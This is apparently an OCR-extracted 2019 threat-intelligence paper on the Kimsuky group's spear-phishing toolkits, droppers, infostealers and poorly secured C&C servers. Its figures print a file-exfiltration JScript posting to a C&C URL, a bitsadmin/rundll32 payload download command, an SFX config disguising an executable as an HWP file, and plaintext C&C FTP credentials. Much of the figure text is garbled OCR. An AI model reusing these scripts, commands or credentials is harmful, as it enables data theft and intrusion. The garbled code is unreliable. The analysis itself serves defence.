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ABSTRACT

The Kimsuky group is a threat group that is known to have been behind the KHNP (Korea Hydro &
Nuclear Power) cyber terrorism attacks of 2014 and is still active in 2019.

Since 2018, we have been profiling and tracking spear-phishing emails and malicious code related to
the Kimsuky group.

The spear-phishing emails used by the group have been determined to have the purpose of stealing
web portal account information and delivering malicious code. The main targets are government and
military officials, as well as journalists.

We have analysed the changing behaviour of the Kimsuky group through ongoing tracking of the
IoCs related to Kimsuky, including simple account hijacking.

In this paper, we present the results of an analysis not only of the malware used by the Kimsuky
group but also of server-side samples (tools and templates that send out spear-phishing emails, like a
phishing rod) which we recently investigated.

We have also confirmed that the C&C server used for the earlier attack continues to be used for various
purposes, such as distribution of malicious code, logging of infections, and sending phishing mail.

1. INTRODUCTION

In September 2013, Kaspersky Lab announced an APT attack targeting major Korean agencies [1].
According to the data, the Kimsuky group was using malicious Hangul documents, like other attack
groups targeting Korea, and the attack featured remote control tools (such as Team Viewer) and
communication channel configuration using webmail. In February and March 2014, attacks that
seemed to have been carried out by the same group against Korean public institutions continued to
occur [2].

In December 2014, an attempt was made to destroy PC disks by sending 5,986 spear-phishing emails
to 3,571 employees of Korea Hydro & Nuclear Power Co., Ltd. However, only eight PCs were
infected with malware, of which five hard disks were initialized.

The malware used in this spear-phishing attack was similar in structure and operation to the malware
used by the Kimsuky group, and the Hangul word processor vulnerability used in the malware was
the same as that used in the Kimsuky malware. From these results, we inferred that the focus of the
Kimsuky group was on social confusion and monitoring of North Korean defectors and politicians,
rather than acquiring money.
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In June 2015, a number of web portal email accounts were hacked, sending emails with malicious
Hangul document files and phishing emails to steal portal account credentials. In January 2016, a
large number of emails with malicious attachments were sent under the guise of ‘Office of National
Security at the Blue House’ to government research institutes. Analysis by related organizations
identified the malicious attachment as Kimsuky malware [3].

2. RELATED CASES

In January 2019, an email suspected to be carrying malicious code was sent to dozens of journalists,
most of whom were covering South Korea’s ministry in charge of relations with North Korea,
prompting an investigation into the incident. The email, which was entitled ‘TF reference info’ and
had a compressed file attached, was sent to more than 70 reporters, most of whom were members of
the unification ministry’s press corps. It was sent through a private email address from a person
named ‘Yoon Hong-geun’. The ministry suspected that it contained malicious code designed for
hacking [4]. This issue was known variously as Operation Cobra Venom [5], Operation Kitty
Phishing [6] and Operation Kabar Cobra [7].

3. TOOLSET CHARACTERISTICS

In the process of tracking the Kimsuky group, we were able to acquire the mail-sending tools and
malware used in various spear-phishing attacks. The attack tools used by the Kimsuky group can be
broadly categorized into server-side toolkits and malware.

Server-side toolkits

Mailer (shape & core), beaconer, phisher, logger

The Kimsuky group created a mailing toolkit for attack and used it repeatedly. We found that, when
constructing phishing pages for account takeover, they reused the existing source code of the original
site and specific arguments in the URL.
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Figure 1: Daum portal phishing page.
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Dropper (malicious or camouflaged HWP documents), script, infostealer

The malware used by the Kimsuky group in recent spear-phishing attacks includes a dropper that is a
malicious or camouflaged HWP file; a malicious script, which logs and downloads additional
malware to the C&C server; and an infostealer. Some infostealers have a module that downloads

additional malware.

Examples of the flow of malware used in spear-phishing attacks are shown in Figure 2.
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Figure 2: The flow of malware used in spear-phishing attacks.

A classification of the attack tools used by the Kimsuky group is shown in Table 1.
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phishing

Name No. | Type Details

Mailer (shape) 1 Mailer Mailer (just shape)

Mailer (core) 2 Mailer Mailer (actual function)
1) Attachment of malware
2) Link to phishing page for account
hijack

Beaconer 3 Web beacon Beacon to check whether mail is being
viewed

Phisher 4 Account stealer, Phishing toolkit(lod) phishing page for

phishing account stealing
Logger Logging, phishing Logging of phishing target information
Malicious HWP 6 Dropper, spear Malicious HWP documents

Camouflaged HWP 7

Dropper, spear

Camouflaged HWP documents (e.g. sfx,

downloader, FTP
logging

phishing exe)
Script 8 Downloader, logging | Downloads additional malware and logs
(e.g. *.vbs, *.wsf, *.jse, *.psl)
Infostealer 9 C&C, DLL, Steals information from infected target

and downloads additional malware (in
some cases using FTP)

Table 1: Kimsuky toolset.

4. TRACKING MALWARE AND MONITORING C&C SERVERS

Attacker = defender: OpSec failures

The attacker and defender are on different sides [8]. In addition, an attacker who continues to attack
does not have a good understanding of defence. There can be a difference between an attacking

position and a defending position.

After all, attackers are also in the position of developing malware and server-side toolKkits.

Attackers who develop various attack tools are in the same position as those in general development.
While working within a limited timeframe and with limited resources, information leakage and
vulnerabilities can occur naturally due to code reuse or C&C server operation mistakes.

In the course of investigating and analysing the C&C server, several security weaknesses were
discovered, which provided us with good information for investigation and tracking. We will look at
the following cases of OpSec failure:

1. Directory listing

2. Leaked FTP access information

3. File download vulnerability

4
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OpSec failure case 1: Directory listing

Case 1.1: After DOKKAEBI campaign: H-DS (distribution) type

Name No. | Type Details
Malicious HWP 6 Dropper, spear-phishing Malicious HWP documents
Script 8 Downloader, logging Downloads additional

malware and logs (e.g.
*.vbs, *.wsf, * jse, *.psl)

Table 2: Related toolset.

Profiling of Malicious Hangul Files
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Figure 3: Profiling of malicious Hangul files.

Following the DOKKAEBI campaign, malicious Hangul documents were continuously analysed [9].

During this process, we tracked a C&C server (suppcrt-seourity[.]esy.es) and malware related to
malicious Hangul documents.

The file name of the malicious Hangul sample uploaded to VirusTotal on 23 May 2018 (shown in
Figure 4) is ‘& Bl <1 .hwp’ (‘Declaration of war end’) [10].
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2 1 (D 21 engines detected this file
/55
5f2ac8672e19310bd532c47d209272bd75075696deabffcc47d1d37f18aff141 227.97 KB
DARMNET M hwp Size

Community
Score

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY o

Submissions ©

Date Name Source Country

2018-05-23 00:52:17 DAZANEH M hwp 141 725be15c - api KR

Figure 4: Malicious Hangul sample & 73721 . hwp.

The overall flow of the sample is as follows [11].

- [d Hwp.exe "C:\5f2ac8672e19310bd532c47d209272bd7507569 6deabffcc4 7d1d37f18aff141.hwp” (PID: 5800)
[ HimTraylcon.exe (PID: 6092) &) | ([0 Hash Seen Before
[ notepad.exe (PID: 3908) @
L @ regsvr32.exe /s "%TEMP%\core dll" (PID: 4020)
L [ wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk jse" (PID: 3904) 4

Figure 5: Sample flow.

Name No. | Type MDS5S

‘Second Road to Go: | 1 Initial dropper 8332be776617364c16868c1adbbdefe7
Building a Peace

System for

Unification’

core.dll (OneDIL.dll) |2 DLL (dropper) 4de21c3af64b3b605446278de92dftf4
fontchk.jse 3 Script f22dble3ea74af791e34ad5aa0297664
brid.ige (zerodll.dll) |4 DLL 2FB20830564AC781 AFB7D5F422BECFC9

Table 3: Malware.

The malware fontchk.jse records the infection information (date, time, IP address, MAC address,
etc.) in the path [C&C] /update/fonts/log.txt, as shown in Figure 6. In this way, the files
(including the malware) and log files that exist on the C&C server can easily be obtained.

Since a lot of resources are required to build and verify (check the actual operation of) the C&C
servers used by attackers, we monitor them continuously, based on the assumption that they are
likely to be recycled (reused) rather than being used once and then destroyed.

6
https://t.me/learningnets



2019

LONDONZEE

2 - 4 October 2019

@ suppcrt-seourity‘esy‘esfupdal
Index of /Update @ suppcrt-seourity.esy.es/update fonts/log.txt
« Parent Directory 2018-05-30 00:22:24 - 1B5.220. -8
« 7za.exe 2018-05-30 00:22:32 - 1B5,220. - pe
« boot 2018-06-04 06:28:02 = 112.218. - pe
« fonts/ 2018-06-04 06:28:07 - 112.218. - pp
« templates/

Figure 6: Fontchk.jse records the infection information in the path [C&C J/update/fonts/log.txt.

A new log was recorded on the C&C server on 2018-07-10 (D+49), leading us to conduct further
investigation and analysis.

IS & suppcrt-seourity.esy.es,

2018-07-10 02:41:10 - 183.101. -c
2018-07-10 02:41:15 - 183.101. - e
2018-07-10 02:41:17 - 183.101. - f
2018-07-10 02:41:20 - 183.101. - C485088E 00106,1,7601,64
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64

Figure 7: New infection log.

The C&C server leaked its directory listing and didn’t have proper access control, so it was possible
to check the remaining logs following an infection.

MAC Address Prefix C48508 C4-85-08 C4:85:08

Manufacturer Intel Corporate

Figure 8: MAC address look-up [12].

Previously, we analysed C&C servers, and we saw that the MAC address is used as the directory
path. Using this information, we were able to obtain additional malware by using the MAC address
written in the infection log.

Name No. | Type MDS5S Details
zerobase 1 Binary | 53ac231e8091abcd0978124f9268b4e4 | XOR encoding
HanyangUpload_ | 2 DLL 8b59ealee28e0123da82801abcOcce4d | XOR decoding -
script.dll 0x09FD8477
cac.wsf 3 Script fa2ffcd70tba43dd0653a0ec87863d8a File upload to
C&C server

Table 4: Malware obtained using MAC address C485088EXXXX.
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® suppcrt-seourity.esy.es/update/fonts/C485088ENIY

Index of /update/fonts/C485088E

o Parent Directory
« zerobase

We confirmed that zerobase (MDS5: 53ac231e8091abcd097812419268b4e4) had four-byte
XOR encoding (key: 0x09FD8477), and a PE file was obtained through decoding, as shown in

Figure 10.
Recipe DB EF  nput e i + OB W=
. © |1 A4AT1477 OAFDBATT ODFDBAT7 FG028477 BIFDB477 OOFDB477 49FD8477 0OFDBAT7 09FDBATT
@9FD8477 09FDBA77 @9FD8477 @9FD8477 OOFD8AT7 @9FD84T7 01FC8477 07E23E79 09498DBA
Delimiter 28458538 CADCDO1F G6O8EA407 7BI2E305 6890A414 6893EA18 7DDDE612 298FF119 2994EA57
Auto 4DB2D757 6492E012 27F0897D 2DFD8477 OOFD8A77 BA43D3B4 FO22BDE7 FO22BDE7 FO22BDE7
8340BEEG FB22BDE7 8340BSEG GE22BDE7 8340BOEG E222BDE7 GE827AE7 F222BDE7 BA47BEEG
E522BDE7 BA47BSEG DO22BDE7 BA47BOE6 E@22BDE7 8340BCE6 F722BDE7 F022BCE7 8422BDE7
XOR © 1| E044BAEG F822BDE7 E044BDEG F122BDE7 E04442E7 F122BDE7 E044BFEG F122BDE7 SBO4E71F
F022BDE7 @9FD8477 09FD8477 59B88477 45FC8177 BOEDC32C 9FD8A77 09FD8477 EQFDS656
Key Wix~  O2FCBATA 09598577 09438577 DOFD8AT7 79928477 09ED84T7 093D8577 09FDBAG7 0IED8ATT
me 7 09FF8477 OFFD8477 09FD8477 OFFD8477 09FD8477 095D8777 09F98477 @9FD8477 OBFDCAT6
09FD9477 09ED8477 @9FDI477 OEDS8477 @9FD84T7 19FD8477 BID28677 79FD84T7 29CD8677
th';en"(';ard Tl rceclis 59FD8477 098D8777 E9FC8477 @9FD8A77 0OFD8477 @9FD8477 09FD8477 097D8777 1DE984TT

99098677 15FD8477 @9FD8477 @9FD8477 @Q9FD8477 @9FD8477 09FD8477 @9FD8477 BID9I8677

time: 87ms

Output Length: 186368 B FD m

lines: 45

ra
ity

MZiss s 5 3 swme Vs s o 5 6 5 sam @ 3 5 5 5 GIEEEE & § § 5 SISHINE § § 5 SIENIE 5 § ¢ SN a8 e, It .LI!This

program cannot be run in DOS mode.

$evnnnnn L3WAURY. URY. URI. .} . ORI, . 5<.gRI. . 5=.8R9.9.b. (BI. 32:,1RI. 32<,URI. 30=, éR9.
.pR9.UR8..BI.£€20.1RI.E9.0R9.é*A.pB9.é";.oR9.RichURI. .. ...... PE..L..... [c] I

.48
.a.

STEP m . ’ ’ o
AutoBake  (x...@....... e @ A rSICiuBuseaPenensss Avviviiiiiinnns @..@.reloc..

Figure 10: The file had four-byte XOR encoding (key: 0x09FD8477) a PE file was obtained through

decoding.

The original DLL name identified in the four-byte XOR-decoded malware is HanyangUpload

script.dll.

.rdata:10022FE8 ; Export Ordinals Table for HanyangUpload_script.dll

.rdata:10022FE8 ;

.rdata:10022FE8 word_10022FE8 dw 0, 1 ; DATA XREF: .rdata:10022FD4to
.rdata:10022FEC aHanyanguploadS db 'HanyangUpload_script.dll',@

.rdata:10022FEC ; DATA XREF: .rdata:10022FBCto
.rdata:10023005 aDllregisterser db 'D11RegisterServer',0

.rdata:10023005 ; DATA XREF: .rdata:off_10022FE@to
.rdata: 10023017 aGetname db 'GetName',@ ; DATA XREF: .rdata:off_10022FE@t0

Figure 11: HanyangUpload_script.dIL

8
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The function of the malware (HanyangUpload_script.dll) is as follows:

1. Collect information from infected computers.

if ( GetAdaptersInfo(&AdapterInfo, &SizePointer) ) JLABEL_20:
goto LABEL_20; if ( GetVolumeInformationA(
v0_= &AdapterInfo; "Can\
}’hﬂe (1) VolumeNameBuffer,
0x104u
memset(v18, @, 0x104u); 2 .
vl = &v0->GatewayList.IpAddress; &Volt_:meSerlalNumber,
do &MaximumComponentLength,
{ &FileSystemFlags,
v2 = v1->String[@]; 9,
vl = (vl + 1); 0 )
v1->String[VolumeNameBuffer - &v@->GatewayList.IpAddress {
} v9 = VolumeSerialNumber;
while ( v2 ); }
vsprintf_100018Fa( else
V18, {
"%02X%02X%02X%02X%02X%02X" :
vo->Address[@], s V8 = GetTlckEount()s
vo->Address[1], v9 = rand() * v8;
ve->Address[2], VolumeSerialNumber = v9;
vo->Address[3], |
vO->Address[4], vsprintf_10001930(&ComInfo_1002E9D0, 16, "¥X", v9);
v0->Address[5]); result = 1;
if ( !strstr(vi8, "00000000") ) }

Figure 12: Collecting information.

2. Scan specific files.

Address Length Type  String
:1002.. 0000005C C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir11l New Life\\NICN\\NICN 2017\\Peace Man List.hwp
:1002.. 00000067 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir11l New Life\\NICN\\NICN 2017\\Peace Men in the Country.p

[5] .data:1002.. 0000005C C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir11l New Life\\NICN\\NICN 2017\\Peace men Pictures

fs :1002.. 00000068 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\EH ZQ3t HZ|S\\2012H 23tAISHH 11 (H|¢
:1002.. 0000Q05F C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dirll New Life\\FAZ3} FtE\\AIYAI HE FAE hwp
:1002.. 00000070 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\My Ministry Partners\\ZQl4=M W A}Q} S5tA}
:1002.. 000006E  C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\My Ministry Partners\\At2 9|5 QtL}of &
:1002.. 00000063 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\My Ministry Partners\\QtL}OFg AtZfE.hwp
:1002.. 00000070 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@2 Message\\Message Pre Data\\=&t2t Gt 2|1 ALY
:1002.. 00000067 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir1l New Life\\From David Alton O|EjA{ A5 Q} ESIAIZIE . .hw
:1002.. 00000064 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dirll New Life\\NK A}Si8fskul AtHY AJTH(£HZW3|).hwp
:1002.. 00000066 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@3 Wongo\\‘M W Zt# RAT\\$tZw3| XMZMw EFMHu.hw
:1002.. 00000068 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir1l New Life\\FAZ23} FtE\\NK Team &2 23 H2tH.d
:1002.. 00000066 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\EtH =935t HZ|E\\2014d X0 HH0f|A.hw
:1002.. 00000065 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\EH ZQ235t WA E\\E=dM DAY HA|.hwp
:1002.. 00000067 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\EtH 25 WA S\\LcMHuw 2012 (HL).h
:1002.. 0000006F  C C:\\Users\\Insoo. Jeong\\Documents\\1 Documents\\Dir@9 Personal\\EH Z23 HAIS\YHSWH H=Z ZHE

[5] .data:1002.. 0000005C C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir@9 Personal\\EH ZQ3t HA|S\\H A S0 A .hwp

5] .data:1002.. 00000068 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir1l New Life\\E! ZQO|A Lto| MA|R|Qt Zo|\\AtHHlEE 1,

.data:1002.. 0000004F C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir1ll New Life\\NK O|A}3| 16.10.pptx
:1002.. 0000006A C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dirll New Life\\NKTt7|M um F2IZ| 7 SCtZtALQL MQUZIALR Q]
:1002.. 00000060 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir1l New Life\\2{A|O} H3{F HE} A = (L2 . .hwp
:1002.. 00000069 C C:\\Users\\Insoo.Jeong\\Documents\\1 Documents\\Dir1l New Life\\9!% ZtZ ItAU\\NK & A+ E 1 Af(Non-Field)

Figure 13: Scanning files.

3. Upload files (A11List [MAC Address] YYMMDD HHMMSS) to the C&C server using a script
(cac.wsf)
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.data:1002D458 aXmlPackagelobI db ‘<?xm1?>',0Dh,@Ah 5 DATA XREF: send_100024A0+97t0

strepy(&v8, “ac.wsf"); data: 10020458 db *<package>" ,@Dh,0Ah

*cac_wsf = *"C:\\ProgramData\\cac.wsf"; .data:1002D458 db '<job id=',27h, 'sydAMDhr',27h,">",@Dh,0Ah
memset (&9, @, @xEDu); .data:10020458 db '<script language=',27h,'JScript',27h, '><![COATA[',0Dh,0Ah
memset(&v6, 0, 0x104u); .data: 10020458 db 9, function myTrfim(x) {*,0Dh,@Ah
v2 = fopen(cac_wsf, "wb"); .data: 10020458 db 9,9, 'return x.replace(/*\s+}\s+$/gn, ", 27h,27h,'); *,00h, 0
v3 = V2i data:1002D458 db 9,'}",00h,0Ah
if (v2) .data: 10020458 db @Dh,0Ah
1 v .data: 10020458 db 9, function HttpUpload(sLocalFile, sPhpUrl)',@Dh,@Ah
{ .data: 10020458 db 9,'{",0Dh,0Ah

fwrite(aXmlPackageJobI, 1u, 2298u, v2); .data:10020458 db 9,9,'var xhr = new ActiveXObject("WinHttp.WinHttpRequest.5.1");",@Dh

fclose(v3); .data: 10020458 db eAh
} .data: 10020458 db 0Dh,0Ah ) et 2 oy
Enc_File_10002280(a1); . gitzigggggig gs ?Zg",;S; anputstrsam new ActiveXobject(',27h, 'ADODB.Stream',27h,")
vsprintf_10001930(&v6, 260, "/filepath:\"%s\"", al); .data: 10020458 db " inputStream.Open(); *,@Dh,0Ah
Print_Debug_10002610("Start Send"); .data: 10020458 db * inputStream.Type = 1; // adTypeBinary ',0Dh,@Ah
memset (&pExecInfo, 0, 0x3Cu); .data: 10020458 db * inputStrean. LoadFromFile(sLocalFile);",0Dh,8Ah
pExecInfo.chSize = 60; .data: 10020458 db 9,9, 'var dom = new ActiveXObject("Msxml2.D0MDocument.3.0"); " ,0Dh,0Ah
ExecInfo.1pFile = cac wsf: .data:1002D458 db 9,9, 'var elem = dom.createElement("base64");",@Dh,0Ah
p Al = Lac Wby .data: 10020458 db 9,9, 'elen.dataType = "bin.base64”;',@Dh,0Ah
pExecInfo.fMask = 64; data: 10020458 db 9,9,"elem.nodeTypedValue = inputStream.Read;',0Dh,0Ah
pExecInfo.lpParameters = &v6; .data:1002D458 db 9,9, 'var Base64Encode = elem.text + "\r\n";',0Dh,0Ah
pExecInfo.lpVerb = "open"; .data: 10020458 db 9,9, " inputStream.Close();',8Dh,0Ah
pExecInfo.nShow = 8; g e gg gng,chr sBoundary 44cdd22e90F"; *,00h, 0Ah

. o 595 . 2 3 N
ShellExecuteExA(&pExecInfo); .data: 10020458 db 9,9, var sRequestHeader + sBoundary + "\r\n";',@Dh,0Ah
WaitForSingleObject(pExecinfo.hProcess, @x927C0u); - data: 10020458 db 9,9, sRequestHeader = sRequestHeader + "Content-Disposition: form-'
Print_Debug_10002610("end Send"); .data: 10020458 db 'data; name=\"binary\"; filename=\"" + slocalFile + "\"\r\n";',0Dh
.data: 10020458 db 0Ah
.data: 10020458 db 9,9, 'sRequestHeader = sRequestHeader + "Content-Type: application/’

<script Tlanguage=
try
i

var strPath = WScript.Arguments.Named.Item("filepath");
HttpUpload(strPath, "http://www.military.co.kr/1990/scriptPhpServer.p

//WScript.Echo(sResults);

function HttpUpload(sLocalFile, sPhpUrl)
{

var xhr = new ActiveXObject("WinHtty

var inputStream = ActiveX0bje:
inputStream.Open();
inputStream.Type = 1; // adTypeBinary
inputStream.LoadFromFile(sLocalFile);
var dom = new ActiveXObject("Msxml2.DOMDocument.3.0");
var elem = dom.createElement(" e64");
elem.dataType = "bin.base64";
elem.nodeTypedValue = inputStream.Read;
var Base64Encode = elem.text + "\r\r
Stream.Close();

var sBoundary = " cdd22e90f";
var sRequestHeader = + sBoundary + "\r\n";
sRequestHeader = sRequestHeader + ntent-Disposition: ata; nam "binary\"; filename

+ sLocalFile + "\"\r\n";

sRequestHeader = sRequestHeader + 1t-Ty appli t\r\n\r\n";
var sTail + sBoundary + "-

var nConLen = sRequestHeader.length + Base64Encode.length + sTail. length;
var dataFile = sRequestHeader + Base64Encode + sTail;
//WScript.Echo(nConLen);

do{
xhr.open("POST", sPhpUrl, fz )
xhr.SetTimeouts (0, 60000, 30000, 120000);
xhr.setRequestHeader("Content-Type", "multif form ar 8; indar + sBoundary + "\r\n");
xhr.setRequestHeader("Accept", L tio h L L t xml; . / 0.8");
xhr.setRequestHeader("Acc 3
xhr.setRequestHeader (

Figure 14: Uploading files to C&C server:
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https://t.me/learningnets



y/

Case 1.2: Malware camouflaged as HWP documents

2019

LONDONZEE

2 - 4 October 2019

Name No. | Type Details
Mailer (shape) Mailer Mailer (just shape)
Mailer (core) |2 Mailer Mailer (actual function)
1) Attachment of malware
2) Link to phishing page for account hijack
Beaconer Web beacon Beacon to check whether mail is being viewed
Camouflaged |7 Dropper, spear Camouflaged HWP documents (e.g. sfx, exe)
HWP phishing
Script 8 Downloader, logging | Downloads additional malware and logs (e.g.
*.vbs, *.wsf, *.jse, *.psl)
Infostealer 9 C&C, DLL, FTP Steals information from infected target and
downloads additional malware (in some cases
using FTP)

Table 5: Related toolset.

Among the tools described above, this malware is camouflaged as an HWP document [13].

2ut [2ot [ZpAE [0E #HE |
7d2780bc 7hb24d 7525012a566a37ch, scr
o
o oy 3 BETI(sen) Member Value
a2 7d2780bc Thb24d 7525012a566a37ch, scr ManifestVersion 10
o7 ;
,-IKI-) CitUserstEUserDesktop AR L
s &= 37| 237 D2 EF FET W WinRAR SFX
B 1Lhwp 308,980 322,560 sHEmA st 2019-03-07 2% 6:03:26 Win32
1.vbs 2,019 4,759 VBScript 23... 2019-02-28 2= 4:05:48
1.0.00
% A Okl XESA#(SFX) ASTE BEHI ZETIH ASLICH *
Setup=1.h e -
etup=1.hwp
Setup=wscript.exe 1.vhs 6595b64144ccf1df
Temphode
Silent=1
Overwrite=1
asInvoker

Figure 15: Malware camouflaged as an HWP document.

Name No. | Type | MD5 Details

111.scr 1 SEX | 10a120f573874c2af6b9172a26fdc597 | Camouflaged as HWP documents

1.hwp 2 | HWP |ae5ddda3749dcd72bc6ecf6d658c5e31c | Normal HWP

1.vbs 2 | Script | 0718bfc5957758d22af02e726cb25fe3 | Base64 decoding = psl

Powershell |3 | Script | fa2ffcd70fba43dd0653a0ec87863d8a | Additional malware download
(C&C: primary-help[.]esy.es)

Table 6: Malware.

https://t.me/learningnets

11



2019

LONDONEE

2 - 4 October 2019

At the time of analysing the malware, additional malware was downloaded from the C&C server.

$Skey = (45,93,71,12,42,57,52,41,45,45 24,87, 8,65,69,43,38,34,95,23,6,1,60,63) ;

$1df0 = 'cmd.exe';

$Securel ='

$Encrypted= ConvertTo-SecureString $Securel -key $key;

$BSTR = [ ) ]::SecureStringToBSTR($Encrypted);

$ldfsl = [ ]::PtrToStringAuto($BSTR) -replace '_tmp_',$_tmp_;

$1dfl = $1dfsl -replace '_url_ ', $url; cmd.exe /c bitsadmin /transfer notepadework /download
20 start-process -WiNDoWsTyle $dm@ $1dfl;| /priority normal http://primary-help.esy.es/Est/down/IEReinstal.a
. C:\Users\IEUser\AppData\Local\Temp\typsmsros. txt

hile (!(Test-Path $pathl)) { Start-Sleep 10 };

$1df2 = rund1132 ' + $pathl + ', Ent In

= - “cnd.exe /c rundl132
start-process -WiNDoWsTyle $dm@ $1df2 C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt, EntryFuncl

Figure 16: Additional malware being downloaded from the C&C server.

As in the previous case, we continued to monitor the server, based on the assumption that the attacker
would reuse the C&C server they had built.

As a result of our continued monitoring, we confirmed that a new file was uploaded to the C&C
server on 2019-04-01 (D+42) and conducted further investigation and analysis.

#01-change:cd Apr 1st at 10:02:54 annel
Index of / APP 10:02

@ Kimsuky C2 - http:/primary-help.esy.es/
mail.php

Figure 17: Mailer (shape): mail.php.

The C&C server (primary-help[.]esy.es) is also a directory listing as shown in Figure 8.

We checked that the new files, mail.php and mail_ok.php, were uploaded to the C&C server.

@® %2 28 primary-help.esy.es
Index of /

mail.php
mail_ok.php

Figure 18: The new files were uploaded to the C&C server.

We confirmed that these files are tools for sending mail (i.e. mailers).

If we enter the sender and receiver information (name/email), title and contents and select
‘COMMIT", then we can confirm that mail.php is a mailer — the actual operation is performed by
mail_ok.php.

12
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& 5 C O #ode# primary-help.esy.es/mail.php

BURIOIE  sanz <= Sender Name|
BURIOIBIY samopiy <= Sender Email
SUROIE  [samoim <= Receiver Nam¢g
SAROIOIY |+ amoiny <= Receiver Email
A ET) <=Title

<= Contents
e

4

My Tuse suEmgus <= Attachments
coumr

YPE 1
<html lang="ja">

<head>

<meta charset="utf-8">

<META http-equiv="Content-Language" CONTENT="ja">

<meta name="product"” content="Metro UI CSS Framework">

<meta name="description" content="Time-Space css framework">

<meta name="author" content="Time-Space">

<meta name="keywords" content="js, css, metro, framework, windows 8, metro ui">

</head>
<body>
<form method="post" name="frm" id="frm" act1on= enctype="multipart/form-data” >
<table>
<tr>
<td>&4Ixo|§</td>
<td>
<input type="text" name="from_name" id="from_name" placeholder="&24IX}¥" size="35" >
</td>

Figure 19: Mail.php is a mailer. The actual operation is performed by mail_ok.php.

When using the mailer, the mail was indeed sent the normal way, but with new malware attached.

G& IE] http://primary-help esy.es/mail php
-_——— —
¢ BA%7) | ¢ B) 3% A0S v ] Web Slice Gallery v
J & http://primary-help.esy.es/mail.php [7|
SUA0IE  sender
SAXR0IME sender@gmail.com
FAUROIE  recy
FHFOIME jacke@fsec.or ki
T HOI T Jjack2@fsec.or.kr i‘&%ﬁﬂﬂ
s send 2 recv
Hello ~ 7| B EEE RS M EE N B EEEN = IR E EE R
s send 2 recv
HHAE (-] sender <sender@gmail.com>
ue h=Arg recv <jack2@fsec.or.kr>
=
Hehgnt 2019-04-01 11:13:03
ARZHH g2 2019-04-01 11:13:03
i ot Hemel 171(497.64KB)
yeme FOR2L..
AlAKE|.zip (497.64KB
e +|[E AAtE).zip (497.64KB)

Figure 20: The mail was sent normally and new malware was attached.
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In addition, we confirmed that the web beacon was applied to check whether the mail was read, using
reading.php defined in the <img> tag in the mail sent by the mailer.

y target="_blank" rel="noopener noreferrer" href="
src="https://ssl.pstatic.net/static/pwe/nm/btn_savep ! "17" heigh

="left" width="3"
="left" width="17" height="25" valign="middle"
g src="http://maill.daumcdn.net/mail_static/mint/img/big/ico_zip.png" width="

="left" width="7"

left" valign="middle" style="font-size:13px;font-family:'#2 1", 'Malgun

Web beacon

ing.php?u G r.kr'" $tyle="display:no

Figure 21: The web beacon was applied to check whether the mail was read.

OpSec failure case 2: Leaked FTP access information

Name No. | Type Details
Mailer (shape) | 1 Mailer Mailer (just shape)
Mailer (core) |2 Mailer Mailer (actual function)

1) Attachment of malware
2) Link to phishing page for account hijack

Beaconer 3 Web beacon Beacon to check whether mail is being viewed

Phisher 4 Account stealer, | Phishing toolkit(lod) phishing page for account stealing
phishing

Logger 5 Logging, Logging of phishing target information
phishing

Script 8 Downloader, Downloads additional malware and logs (e.g. *.vbs,
logging * wsf, *jse, *.psl)

Infostealer 9 C&C, DLL, Steals information from infected target and downloads
FTP additional malware (in some cases using FTP)

Table 7: Related toolset.

Among infostealers used by the Kimsuky group, some samples have been found that use FTP to
download additional malware after logging infected targets to the C&C [14-16].

14
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The malware uses the Hostinger free hosting service as a C&C server, and there is a security
weakness in that the account (u428325809 ) and password (victory123!@#) used for FTP
communication are exposed in plain text.

v14 = InternetOpenA("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", @, 0, 0, 0);
if ((vid)
return 0;

v15 = InternetConnectA(v14, &szServerName, @x15u, szUserName, szPassword, 1lu, 0x8000000u, 0);
v16 = v15;
if (v15)

if ( FtpSetCurrentDirectoryA(v15, "log") )
if ( FtpGetFileA(v16, lpszRemoteFile, lpszNewFile, @, @, 0x80000002, 0) )
{

v20 = 1;
FtpDeleteFileA(v16, lpszRemoteFile);

220 FTP Server ready.
izl P?ffw?rj r:::ired for u428325809
PASS victory123!@#

Ser u logged in

CWD log

250 CWD command successful

INBERT

200 Type set to I

PASV

227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e0e6_IEUpdate64

550 7cd9e@e6_IEUpdate64: No such file or directory
RETR 7cd9e0e6_IEUpdate64

550 7cd9e@e6_IEUpdate64: No such file or directory

Figure 22: The account (u428325809 ) and password (victoryl123!@#) used for FTP communication
are exposed in plain text.

The same (or similar) FTP account information was identified in the other malware found after this
malware (2019-04-03) [17].

220 FTP rver ri -
|USER u487458083.oeks39402.890m.com| USER u487458083.vkcxvkweo.96. 1
1 Password required for u487458083.0eks39402.890m.com||331 Password required for u487458083.vkcxvkweo.96.1t
230 User u487458083.0eks39402.890m.com logged in 230 User u487458083.vkcxvkweo.96.1t logged in
CWD InstF CWD Ftake
250 CWD command successful 250 CWD command successful
INEBERE TYPE I
